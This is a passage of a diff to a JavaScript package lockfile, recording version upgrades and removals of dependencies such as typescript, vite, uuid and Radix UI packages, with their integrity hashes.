["tinyexec@1.2.4", "", {}, "sha512-SHf/r48b7vOrjve9PxJo3MN5v5yuyjHvdUcrQffT3WXMUfnGmHDVbC4k3sHJaJTgZCwpUplIaAo5ANtMyp3YHg=="], + "tinyexec": ["tinyexec@1.3.0", "", {}, "sha512-QKAl9m8gWWGHV8jZcPeym6j+XULi6tOf1mT83WYJ4Lk2ytW/uwAWkrP0uFsdoYMdueVJ0qs26wZ+23xeB4ibNQ=="], "tinyglobby": ["tinyglobby@0.2.17", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g=="], @@ -1268,7 +1246,7 @@ "type-fest": ["type-fest@2.19.0", "", {}, "sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA=="], - "typescript": ["typescript@6.0.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw=="], + "typescript": ["typescript@7.0.2", "", { "optionalDependencies": { "@typescript/typescript-aix-ppc64": "7.0.2", "@typescript/typescript-darwin-arm64": "7.0.2", "@typescript/typescript-darwin-x64": "7.0.2", "@typescript/typescript-freebsd-arm64": "7.0.2", "@typescript/typescript-freebsd-x64": "7.0.2", "@typescript/typescript-linux-arm": "7.0.2", "@typescript/typescript-linux-arm64": "7.0.2", "@typescript/typescript-linux-loong64": "7.0.2", "@typescript/typescript-linux-mips64el": "7.0.2", "@typescript/typescript-linux-ppc64": "7.0.2", "@typescript/typescript-linux-riscv64": "7.0.2", "@typescript/typescript-linux-s390x": "7.0.2", "@typescript/typescript-linux-x64": "7.0.2", "@typescript/typescript-netbsd-arm64": "7.0.2", "@typescript/typescript-netbsd-x64": "7.0.2", "@typescript/typescript-openbsd-arm64": "7.0.2", "@typescript/typescript-openbsd-x64": "7.0.2", "@typescript/typescript-sunos-x64": "7.0.2", "@typescript/typescript-win32-arm64": "7.0.2", "@typescript/typescript-win32-x64": "7.0.2" }, "bin": { "tsc": "bin/tsc" } }, "sha512-8FYau96o3NKOhbjKi/qNvG/W5jhzxkbdm5sj9AbZ/5T5sWqn3hJgLfGx27sRKZWTvyzCP8dLRBTf5tBTSRVUNA=="], "undici-types": ["undici-types@8.3.0", "", {}, "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ=="], @@ -1288,7 +1266,7 @@ "unist-util-visit-parents": ["unist-util-visit-parents@6.0.2", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0" } }, "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ=="], - "update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + "update-browserslist-db": ["update-browserslist-db@1.3.2", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-UQ+MSxlhRm1bzjhU+DcuXfjFO1FzNtqhK5+9Yvlp90ItDLk5vT932A0rFu619nf7RVS+Y/VeaUW1jaRDqZ8VJw=="], "update-check": ["update-check@1.5.4", "", { "dependencies": { "registry-auth-token": "3.3.2", "registry-url": "3.1.0" } }, "sha512-5YHsflzHP4t1G+8WGPlvKbJEbAJGCgw+Em+dGR1KmBUbr1J36SJBqlHLjR7oob7sco5hWHGQVcr9B2poIVDDTQ=="], @@ -1298,9 +1276,9 @@ "use-sync-external-store": ["use-sync-external-store@1.6.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w=="], - "uuid": ["uuid@11.1.0", "", { "bin": { "uuid": "dist/esm/bin/uuid" } }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="], + "uuid": ["uuid@14.0.2", "", { "bin": { "uuid": "dist-node/bin/uuid" } }, "sha512-xZe/16rV4aa+HGSOCiY2YeLT1OybRLrrkL/Rqaq7p7GMVXjFh+6wN4oMYgjFmnSnhY8t6Xpdl2l9qmnHYuMHwQ=="], - "valibot": ["valibot@1.4.1", "", { "peerDependencies": { "typescript": ">=5" }, "optionalPeers": ["typescript"] }, "sha512-klCmFTz2jeDluy9RwX+F884TCiogtdBJ/YaxSx1EOBYXa3NXNWj8kR1jjN8rzluwojJVWWaHJ4r1U5LfICnM3g=="], + "valibot": ["valibot@1.4.2", "", { "peerDependencies": { "typescript": ">=5" }, "optionalPeers": ["typescript"] }, "sha512-gjdCvJ6d3RyHAneqxMYMW9QMCwYMb3jpOO0IyHZV1bnRHFBHrX3VkIILt5XYR0WhwHiH7Mty8ovuPZ/O3gamrg=="], "vary": ["vary@1.1.2", "", {}, "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="], @@ -1310,16 +1288,14 @@ "vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="], - "vite": ["vite@8.1.0", "", { "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.15", "rolldown": "~1.1.2", "tinyglobby": "^0.2.17" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.3.0", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-BuJcQK/56NQTWDGn4ABea3q4SSBdNPWwNZKTkkUpcMPnLoquSYH8llRtSUIgoL1KSCpHt5eghLShn50mH36y7Q=="], + "vite": ["vite@8.2.2", "", { "dependencies": { "lightningcss": "^1.33.0", "picomatch": "^4.0.5", "postcss": "^8.5.26", "rolldown": "~1.2.4", "tinyglobby": "^0.2.17" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.4.0 || ^0.5.0", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-cFKLV/PRgAUlIRm5WjMjJ86jrftzpqcgH+Us+DS8mI3CDNiH30Whrz8uHL3+MOLPAgqbMBAqWdAHAphOAM+z/Q=="], - "vite-node": ["vite-node@3.2.4", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="], + "vite-node": ["vite-node@6.0.0", "", { "dependencies": { "cac": "^7.0.0", "es-module-lexer": "^2.0.0", "obug": "^2.1.1", "pathe": "^2.0.3", "vite": "^8.0.0" }, "bin": { "vite-node": "dist/cli.mjs" } }, "sha512-oj4PVrT+pDh6GYf5wfUXkcZyekYS8kKPfLPXVl8qe324Ec6l4K2DUKNadRbZ3LQl0qGcDz+PyOo7ZAh00Y+JjQ=="], - "vite-plugin-devtools-json": ["vite-plugin-devtools-json@1.0.0", "", { "dependencies": { "uuid": "^11.1.0" }, "peerDependencies": { "vite": "^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-MobvwqX76Vqt/O4AbnNMNWoXWGrKUqZbphCUle/J2KXH82yKQiunOeKnz/nqEPosPsoWWPP9FtNuPBSYpiiwkw=="], + "vite-plugin-devtools-json": ["vite-plugin-devtools-json@1.1.0", "", { "dependencies": { "uuid": "^14.0.0" }, "peerDependencies": { "vite": "^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-Fy9nMgMudGzDtUh1tGL7v0WAH0gsnZcZu2LFr/+1YxvYaJnxgbqRqv4jLU2tn5L9oqSaETHVCdDo9f8mSCQEZQ=="], "vite-tsconfig-paths": ["vite-tsconfig-paths@6.1.1", "", { "dependencies": { "debug": "^4.1.1", "globrex": "^0.1.2", "tsconfck": "^3.0.3" }, "peerDependencies": { "vite": "*" } }, "sha512-2cihq7zliibCCZ8P9cKJrQBkfgdvcFkOOc3Y02o3GWUDLgqjWsZudaoiuOwO/gzTzy17cS5F7ZPo4bsnS4DGkg=="], - "void-elements": ["void-elements@3.1.0", "", {}, "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w=="], - "warning": ["warning@3.0.0", "", { "dependencies": { "loose-envify": "^1.0.0" } }, "sha512-jMBt6pUrKn5I+OGgtQ4YZLdhIeJmObddh6CsibPxyQ5yPZm1XExSyzC1LCNX7BzhxWgiHmizBWJTHJIjMjTQYQ=="], "web-namespaces": ["web-namespaces@2.0.1", "", {}, "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ=="], @@ -1330,233 +1306,63 @@ "wrap-ansi": ["wrap-ansi@8.1.0", "", { "dependencies": { "ansi-styles": "^6.1.0", "string-width": "^5.0.1", "strip-ansi": "^7.0.1" } }, "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ=="], - "ws": ["ws@8.18.3", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg=="], + "ws": ["ws@8.21.3", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-201TZ/kPWxoPr/OKWjquZR1SWKXcvxdH+e1xrx89b3YbmzLMFCLfnaG1HFIgWzJOEWZ7MvpK++odZufgYR50Rw=="], "yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="], - "yup": ["yup@1.7.1", "", { "dependencies": { "property-expr": "^2.0.5", "tiny-case": "^1.0.3", "toposort": "^2.0.2", "type-fest": "^2.19.0" } }, "sha512-GKHFX2nXul2/4Dtfxhozv701jLQHdf6J34YDh2cEkpqoo8le5Mg6/LrdseVLrFarmFygZTlfIhHx/QKfb/QWXw=="], - - "zod": ["zod@4.4.3", "", {}, "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ=="], - - "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], - - "@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - - "@babel/generator/jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="], - - "@babel/helper-compilation-targets/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - - "@babel/helper-create-class-features-plugin/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - - "@floating-ui/core/@floating-ui/utils": ["@floating-ui/utils@0.2.10", "", {}, "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ=="], - - "@floating-ui/dom/@floating-ui/utils": ["@floating-ui/utils@0.2.10", "", {}, "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ=="], - - "@floating-ui/react-dom/@floating-ui/dom": ["@floating-ui/dom@1.7.6", "", { "dependencies": { "@floating-ui/core": "^1.7.5", "@floating-ui/utils": "^0.2.11" } }, "sha512-9gZSAI5XM36880PPMm//9dfiEngYoC6Am2izES1FF406YFsjvyBMmeJ2g4SAju3xWwtuynNRFL2s9hgxpLI5SQ=="], - - "@mdx-js/mdx/@types/mdx": ["@types/mdx@2.0.13", "", {}, "sha512-+OWZQfAYyio6YkJb3HLxDrvnx6SWWDbC0zVPfBRzUk0/nqoDyf6dNxQi3eArPe8rJ473nobTMQ/8Zk+LxJ+Yuw=="], - - "@mdx-js/mdx/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="], - - "@radix-ui/react-accordion/@radix-ui/react-collapsible": ["@radix-ui/react-collapsible@1.1.12", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA=="], - - "@radix-ui/react-accordion/@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw=="], - - "@radix-ui/react-arrow/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-collapsible/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-collapsible/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-collapsible/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-collapsible/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "@radix-ui/react-collapsible/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-collapsible/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "@radix-ui/react-collection/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], - - "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-dialog/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-dialog/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "@radix-ui/react-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-dismissable-layer/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-focus-scope/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-focus-scope/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], - - "@radix-ui/react-navigation-menu/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.10", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-IVVz4EvBcKjrzKgof714qDnz/SzQAkLA2Emh5edlHbgcE6fNd3Un6CJLlaYcnm8N4JmAtzQgse4dOKxcD2yc9g=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { 